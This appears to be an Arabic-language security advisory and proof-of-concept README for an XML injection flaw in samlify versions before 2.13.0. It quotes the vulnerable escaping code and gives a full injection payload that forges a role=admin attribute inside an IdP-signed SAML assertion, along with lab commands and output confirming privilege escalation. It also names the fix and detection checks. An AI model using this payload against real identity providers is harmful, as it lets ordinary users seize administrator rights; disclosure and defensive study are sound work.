
CVE-2026-46490 — samlify <2.13.0 حقن XML في SAML AttributeValue -> تصعيد الصلاحيات عبر التأكيد الموقّع. إثبات المفهوم (PoC) مكتفي بذاته، تم التحقق منه تجربة شاملة (e2e).
AttributeValue SAML في samlify → تصعيد الامتيازاتsamlify
< 2.13.0يفلت استبدالات القوالب فقط في سياقات السمات. قيمة يتحكم فيها المستخدم (مثلname) توضع في نص العنصر —<saml:AttributeValue>{Value}</saml:AttributeValue>— تُدرج بدون إفلات، لذا يمكن لمستخدم عادي حقن عناصر<saml:Attribute>إضافية (مثلrole=admin) في تأكيد SAML الموقّع من قبل IdP الخاص بهم. نظرًا لأن الحقن يحدث قبل التوقيع، فإن فحص توقيع مزود الخدمة ينجح ويستهلك السمات المزورة كمُعتمدة.
| CVE | CVE-2026-46490 |
| Advisory | GHSA-34r5-q4jw-r36m |
| Affected | samlify < 2.13.0 |
| Fixed | 2.13.0 |
| Class | CWE-91 (حقن XML) → تصعيد الامتيازات |
| CVSS | 8.8 (عالي) |
| Auth | مستخدم مصدق منخفض الامتياز (يتحكم في إحدى قيم السمات الخاصة به) |
| Status | مؤكد — تم إعادة إنتاج سلسلة IdP→SP كاملة مع [email protected] |
src/libsaml.ts يستبدل العناصر النائبة {tag} عبر replaceTagsByValue → escapeTag:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- element text: NO escaping
};
}
التعبير المنتظم يلتقط علامة اقتباس اختيارية سابقة " كـ quote. في سياق السمة (Name="{Name}") يتم تعيين quote ويتم إفلات القيمة بـ xmlEscape؛ في نص العنصر (>{attrEmail}<) لا توجد علامة اقتباس سابقة، لذا تنبعث القيمة حرفيًا.
قالب السمة الافتراضي يضع القيمة في نص العنصر:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
لذا فإن قيمة سمة يتحكم فيها المهاجم تحتوي على </> تحقن XML خام.
يضبط المهاجم سمة ملفه الشخصي (هنا email) إلى:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
هذا يغلق سمة email، يضيف سمة role=admin مزورة، ويعيد فتح سمة قابلة للاستهلاك بحيث يظل الختام اللاحق للقالب </saml:AttributeValue></saml:Attribute> متوازنًا. ثم يقوم IdP بتوقيع التأكيد — بما في ذلك السمة المزورة. يقوم SP المتوافق مع المعايير بالتحقق من التوقيع (صحيح) ويقرأ role=admin.
cd lab && ./setup.sh # npm i [email protected] + generate IdP/SP keypairs
node poc.js
المخرجات:
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
يقوم برهان المفهوم (PoC) بتشغيل IdP الخاص بـ samlify (createLoginResponse، الذي يقوم باستبدال replaceTagsByValue الضعيف ويوقع) و SP (parseLoginResponse، الذي يتحقق من التوقيع ويستخرج السمات). يظهر SP role: "admin" — وهي سمة قام المهاجم بتزويرها، وليست سمة كان IdP يعتزم إصدارها.
يمكن لأي مستخدم يمكنه التأثير على إحدى قيم سمات SAML الخاصة به (البريد الإلكتروني، اسم العرض، …) على IdP قائم على samlify إنشاء تأكيد موقع صحيح يحمل سمات إضافية عشوائية — عضويات مجموعة/دور، استحقاقات، أعلام isAdmin — وتصعيد الامتيازات على كل SP يثق في IdP. التحقق من توقيع SAML لا يساعد: التزوير داخل النطاق الموقع.
افحص التأكيدات المصدرة/المستهلكة بحثًا عن قيم سمات تحتوي على ترميز XML (</saml:AttributeValue>، <saml:Attribute)، وعن تأكيدات تحمل عناصر <saml:Attribute> أكثر مما يحدده قالب IdP.
انظر ANALYSIS.md للحصول على التعبير المنتظم للاستبدال، قاعدة علامات الاقتباس، والتحديث.